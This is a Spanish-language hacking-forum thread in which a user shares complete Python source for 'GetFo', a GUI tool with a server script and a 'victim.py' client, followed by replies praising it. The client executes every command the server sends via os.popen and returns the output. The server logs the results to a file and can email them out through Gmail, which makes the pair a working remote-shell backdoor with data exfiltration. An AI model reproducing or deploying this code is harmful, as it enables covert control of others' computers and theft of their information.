send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[v2.0/GUI] GetFo

  • 3 Respuestas
  • 996 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« en: Abril 27, 2015, 08:52:38 am »
I'm back.  8)
(No sé si es "legal" abrir este post, ya que es una actualización de mi anterior aporte, pero como se le añadió algo tan "grande" como una GUI, pues decidí abrirlo  :o)

Si algo le faltaba a getfo.py, era una bonita y simple GUI.  ;D

El funcionamiento es el mismo, abrimos un servidor, lo ponemos a escuchar, acepta una conexión (victima), envia comandos, los recibe, los guarda en un archivo de texto plano, y nos dá la opción de poder enviarlo por correo (Gmail). Usé un poco del code de mis 2 anteriores aportes, para "acelerar el proceso de cocinado".

getfo.py :
Código: Python
  1. from tkinter import *
  2. from tkinter.messagebox import showinfo, showerror, askquestion
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. import os, sys, smtplib, socket, threading
  6.  
  7. class GUI(Tk):
  8.     '''La ventana principal, main menu.'''
  9.     def __init__(self):
  10.         Tk.__init__(self)
  11.         self.wm_iconbitmap('icono.ico')
  12.         self.title("GetFo | A socket, a victim")
  13.         self.resizable(0,0)
  14.         self.config(bg="black")
  15.  
  16.         topimg = PhotoImage(file="mainimage.gif")
  17.         t = Label(self, image=topimg, bg="black")
  18.         t.image = topimg
  19.         t.grid(row =0, column=0, padx=5,pady=5)
  20.      
  21.         Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
  22.         Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
  23.         Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)
  24.  
  25.         Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)
  26.  
  27.     '''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
  28.     def toget(self):
  29.         self.withdraw()
  30.         Get()
  31.  
  32.     def toemail(self):
  33.         self.withdraw()
  34.         Email()
  35.  
  36. class Get(threading.Thread):
  37.     '''Este es el servidor.
  38.    Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
  39.     def __init__(self):
  40.         threading.Thread.__init__(self)
  41.         try:
  42.             self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43.             self.socksv.bind(("127.0.0.1", 10327))
  44.             showinfo("Info", "Server now listening on 127.0.0.1:10327")
  45.         except socket.error as e:
  46.             showerror("Sorry!", str(e))
  47.             self.socksv.close()
  48.             sys.exit(1)
  49.  
  50.         self.root = Toplevel()
  51.         self.root.wm_iconbitmap('icono.ico')
  52.         self.root.resizable(0,0)
  53.         self.root.title("GetFo | Server")
  54.         self.root.config(bg="black")
  55.  
  56.         topimg = PhotoImage(file="mainserver.gif")
  57.         t = Label(self.root, image=topimg, bg="black")
  58.         t.image = topimg
  59.         t.grid(row=0, column=0)
  60.  
  61.         self.start()
  62.  
  63.     def run(self):
  64.         '''start() comienza la ejecución del servidor
  65.        Muestra un mensaje de espera, y procede a esperar una conexión entrante.
  66.        '''
  67.         ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
  68.         self.socksv.listen(2)
  69.         self.sc, self.addr = self.socksv.accept()
  70.  
  71.         ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
  72.         self.cmds()
  73.  
  74.     def cmds(self):
  75.         '''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
  76.         vc = StringVar()
  77.  
  78.         f = Frame(self.root, bg="black")
  79.         f.grid(row=2,column=0)
  80.         c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
  81.         self.cmd = Entry(f, textvariable=vc, width = 40)
  82.         self.cmd.grid(row=0, column=1)
  83.  
  84.         Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
  85.         Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)
  86.  
  87.     def ask(self):
  88.         aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
  89.         if aq == "yes":
  90.             self.email()
  91.         elif "no":
  92.             self.exit_s()
  93.  
  94.     def send_cmd(self):
  95.         '''Obtenemos el comando escrito, y lo enviamos al cliente.'''
  96.         to_cmd = self.cmd.get()
  97.         if to_cmd == "exit":
  98.             self.sc.send(to_cmd.encode("utf-8"))
  99.             self.sc.close()
  100.             self.socksv.close()
  101.             exit()
  102.  
  103.         self.sc.send(to_cmd.encode("utf-8"))
  104.         self.recv_ans()
  105.  
  106.     def recv_ans(self):
  107.         '''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
  108.         rec = self.sc.recv(2048)
  109.         txt = rec.decode("utf-8")
  110.         if os.path.exists("data.txt"):
  111.             with open("data.txt", "a") as f:
  112.                 f.write(txt + "\n\n")
  113.         else:
  114.             with open("data.txt", "w") as f:
  115.                 f.write(txt + "\n\n")
  116.         showinfo("Success!", "Data received and saved on 'data.txt'")
  117.         self.cmds()
  118.  
  119.     def exit_s(self):
  120.         self.sc.send("exit".encode("utf-8"))
  121.         self.sc.close()
  122.         self.socksv.close()
  123.         exit()
  124.  
  125.     def email(self):
  126.         self.root.withdraw()
  127.         Email()
  128.  
  129. class Email():
  130.     '''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
  131.     def __init__(self):
  132.         try:
  133.             self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
  134.         except Exception as e:
  135.             showerror("Fatal Error", str(e))
  136.             exit()
  137.         self.GW = Toplevel()
  138.         self.GW.wm_iconbitmap('icono.ico')
  139.         self.GW.resizable(0,0)
  140.         self.GW.title("GetFo | Gmail Loggin")
  141.         self.GW.config(bg="black")
  142.  
  143.         topim = PhotoImage(file="header-gmail.gif")
  144.         r = Label(self.GW, image=topim, bg="black")
  145.         r.image = topim
  146.         r.pack()
  147.        
  148.         me = StringVar()
  149.         mp = StringVar()
  150.         Frame_User = Frame(self.GW, bg="black")
  151.         Frame_User.pack()
  152.  
  153.         Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
  154.         self.my_email = Entry(Frame_User, textvariable=me, width = 25)
  155.         self.my_email.pack(side=RIGHT)
  156.    
  157.         Frame_Pass = Frame(self.GW, bg="black")
  158.         Frame_Pass.pack()
  159.  
  160.         Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
  161.         self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
  162.         self.my_passw.pack(side=RIGHT)
  163.  
  164.         self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
  165.         self.email_button.pack(fill=X)
  166.  
  167.         salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
  168.         salir.pack(fill=X)
  169.  
  170.     def login_gmail(self):
  171.         '''login_gmail() recibe nuestros datos, e intenta loguearnos'''
  172.         account = self.my_email.get()
  173.         self.password = self.my_passw.get()
  174.         self.gmail.ehlo()
  175.         self.gmail.starttls()
  176.         try:
  177.             self.gmail.login(account, self.password)
  178.             showinfo("Success", "You are now logged in Gmail.")
  179.         except:
  180.             showerror("Error", "Unable to login into %s." % account)
  181.             exit()
  182.         gmail = self.gmail
  183.         newEmail(gmail, account)
  184.         self.GW.withdraw()
  185.  
  186. class newEmail(Email):
  187.     ''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
  188.     def __init__(self, gmail, account):
  189.         ne = Toplevel()
  190.         ne.wm_iconbitmap('icono.ico')
  191.         ne.resizable(0,0)
  192.         ne.title("GetFo | New Email")
  193.         ne.config(bg="black")
  194.         self.gmail = gmail
  195.         self.email = account
  196.  
  197.         topim = PhotoImage(file="sending_info.gif")
  198.         r = Label(ne, image=topim, bg="black")
  199.         r.image = topim
  200.         r.grid()
  201.    
  202.         et = StringVar()
  203.         es = StringVar()
  204.        
  205.         LE = Frame(ne, bg="black")
  206.         LE.grid(row=1, column=0)
  207.  
  208.         Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
  209.         Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)
  210.  
  211.         Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
  212.         self.email_to = Entry(LE, textvariable=et, width = 35)
  213.         self.email_to.grid(row = 2, column = 1, sticky=E)
  214.    
  215.         Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
  216.         self.email_subject = Entry(LE, textvariable=es, width = 35)
  217.         self.email_subject.grid(row = 3, column = 1, sticky=E)
  218.    
  219.         Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
  220.         self.email_msg = Text(LE, width = 35, height = 5)
  221.         self.email_msg.grid(row = 4, column = 1, sticky=E)
  222.    
  223.         self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
  224.         self.email_button.grid(row = 2, column = 0, sticky=NSEW)
  225.        
  226.         salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
  227.         salir.grid(row = 3, column = 0, sticky=NSEW)
  228.  
  229.     def sendEmail(self):
  230.         '''Se obtienen los datos de los campos.'''
  231.         self.to = self.email_to.get()
  232.         self.subject = self.email_subject.get()
  233.         self.msg = self.email_msg.get("1.0", END)
  234.  
  235.         # Ahora añadiremos el archivo al cuerpo del mensaje
  236.         msg = MIMEMultipart('alternative')
  237.         msg['Subject'] = self.subject
  238.         msg['From'] = self.email
  239.         body = self.msg
  240.  
  241.         filename = "data.txt"
  242.         r = open(filename)
  243.         att = MIMEText(r.read())
  244.         att.add_header("Content-Disposition", "attachment", filename = filename)
  245.         msg.attach(att)
  246.  
  247.         content = MIMEText(body, 'plain')
  248.         msg.attach(content)
  249.         try:
  250.             self.gmail.sendmail(self.email, self.to, msg.as_string())
  251.             showinfo("Completed","Email sent successfully to %s" % self.to)
  252.             exit()
  253.         except Exception as e:
  254.             showerror("Error", str(e))
  255.             exit()
  256.  
  257. GUI().mainloop()
  258.  

victim.py :
Código: Python
  1. import socket, os
  2.  
  3. class cCMD():
  4.     def start(self):
  5.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.         try:
  7.             sock.connect(("127.0.0.1", 10327))
  8.             print("[!+] Connection established!")
  9.         except:
  10.             print("[-] Can't establish a connection to server.")
  11.             exit()
  12.         while True:
  13.             print("\n[...] Awaiting commands...")
  14.             re = sock.recv(1024)
  15.             cmd = re.decode("utf-8")
  16.             if cmd == "exit":
  17.                 print("\n[...] Exiting")
  18.                 exit()
  19.             text = os.popen(cmd)
  20.             data = str(text.read())
  21.             sock.send(data.encode("utf-8"))
  22.             print("[+] Data sent succesfully.")
  23.  
  24. if __name__ == "__main__":
  25.     cCMD().start()
  26.  

Fotocapturas:










El código fuente de los 2 archivos, así como las imagenes usadas están dentro de un archivo .rar: You are not allowed to view links. Register or Login


Críticas y opiniones son bienvenidos.

Saludos!
« Última modificación: Abril 27, 2015, 01:06:02 pm por Barlan »


Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Abril 27, 2015, 09:02:10 am »
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX


Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Abril 27, 2015, 11:06:56 am »
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ


Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« Respuesta #3 en: Abril 27, 2015, 12:39:25 pm »
You are not allowed to view links. Register or Login
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX

Gracias ANTRAX!  :D
Ojalá y los nuevos users se animen a postear sus aportes, me emociona ver lineas de código que no entiendo.

You are not allowed to view links. Register or Login
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ

Gracias WhiZ!  ;D


 

¿Te gustó el post? COMPARTILO!



[Herramienta] getfo.py

Iniciado por Barlan

Respuestas: 7
Vistas: 1467
Último mensaje Abril 22, 2015, 03:06:55 pm
por Barlan